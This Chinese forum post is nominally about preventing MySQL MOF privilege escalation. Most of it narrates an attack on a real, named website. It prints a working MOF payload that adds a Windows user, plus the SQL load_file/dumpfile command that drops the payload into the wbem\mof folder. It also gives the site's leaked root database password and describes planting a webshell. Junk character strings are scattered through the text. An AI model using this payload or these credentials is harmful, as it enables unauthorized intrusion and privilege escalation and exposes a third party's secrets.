Mysql mof扩展漏洞防范方法
% Y1 G6 Z) S$ e, l! {& L( ~) ^
, P- J- _8 |* n; k+ J( x网上公开的一些利用代码:% E6 b& A; I4 e3 F' f* J) D
8 Q0 v2 s& \$ k#pragma namespace(“\\\\.\\root\\subscription”)
) p, N4 e) c# p) y" B& F0 }
1 t( w, x' G. r0 l& E- \" B* G1 Uinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
8 C0 ]( C+ d9 d: R
9 k" V3 `9 a" i! B4 C2 U8 R
: P) @! S% q- Z; Y* r, S6 j, |
) v0 R6 M! j }! L9 k" p7 P
7 [4 H7 L/ ^1 k. s$ s y; w! v& @9 J8 S' ?5 L
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- q6 c1 A; T0 f从上面代码来看得出解决办法:
3 y: k# P v* P4 E% I
( S: Q* D; Y/ c1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
4 @9 A* J# f" L6 l4 X3 u9 d7 L$ K; I, H
2、禁止使用”WScript.Shel”组件
8 y" j. x* L: {) ~. d$ [, C5 j
* Q3 |8 H8 w5 {( W7 j3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER0 I% j2 k& G! J3 I0 s& P
+ E. B2 U8 ^/ B8 A5 _ v
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
$ g0 n. e" x( S3 H% {0 Y
0 P( G" y/ l) ?% E, a事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
4 E: Y: f+ Z/ z/ I8 o: f @0 O, L) ^% _. \1 _
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容5 h& t# H8 |' M! R! T" D+ c3 D
& p6 o6 v$ h( ~看懂了后就开始练手吧( v7 \2 W: j7 i% b2 Y/ o# X3 A
- ^1 x4 m i- L3 C" q" n
http://www.webbmw.com/config/config_ucenter.php 一句话 a
9 a0 [: [# H5 A2 l$ e) n8 `; B7 I9 m& U- O
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。( \: o i7 A) ]8 D
1 [5 q0 ]4 g4 B, U于是直接用菜刀开搞
- C0 }% f+ [9 j; \7 |" T8 @" d8 f
2 b8 X9 F; @) X& {( {8 S2 w上马先- m8 C& m2 Q( J8 H# m$ K/ L, g" g% m8 l8 N
0 M2 K* h3 a- Y: N
既然有了那些账号 之类的 于是我们就执行吧…….
3 Z6 w+ \5 m0 |0 P9 A7 _. m; X: x0 P* u
小小的说下
$ a6 h8 j6 {- x) ~' j
7 z5 X* A k1 ?6 x+ Y t在这里第1次执行未成功 原因未知! P/ g5 }5 ?( c) Q
& b) f$ L: H! p/ y) z+ k我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。3 T3 {1 o: A# i8 d/ H/ H/ d
4 S C3 d7 D; Z e; G
#pragma namespace(“\\\\.\\root\\subscription”)
, I+ \* r+ _% H9 G. }7 Q3 s# H' P& C8 b# y, ]* ~
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };: {9 K+ v/ a/ \
; p( w7 a4 }$ U' E3 c/ t4 U
我是将文件放到C:\WINDOWS\temp\1.mof0 k) _4 {' [$ \5 A+ Z3 n
( ]& k; w8 w- |* L0 \' P) s% F! v所以我们就改下执行的代码1 H1 E6 ^' v7 L" d
4 F* c( P G% B' H$ jselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
; n# p9 C+ v0 d; v$ c$ V. x. @6 o8 p. }
" b: G8 R K- x' L, ?8 i' h
! O2 `& G8 n2 A7 Q但是 你会发现账号还是没有躺在那里。。2 r( }7 C. m- T0 X
4 G ]7 Y; G k/ d( ~6 p
于是我就感觉蛋疼* R# i6 x, j4 U P5 ~
4 k- j5 ]$ y1 q: o/ ^% a; S Y+ M就去一个一个去执行 但是执行到第2个 mysql时就成功了………
# Y( Q9 a( T6 B" A; n7 `- H: l' b8 j& Y7 b- {( E9 D3 h7 T: h
( g6 K$ n, J D9 k% G) I+ X! ]" |' g; s+ s2 v
但是其他库均不成功…3 q8 A* N6 @9 t t" R% E# p
* D! W2 r% b. ^" x v/ {我就很费解呀 到底为什么不成功求大牛解答…& y6 F% C" E( ?; W" T# B! N( p
% ]# T$ N, e2 n: _/ k) Z
' B% \* B, ?6 I1 v
' a6 e* ]/ V6 m8 D& z |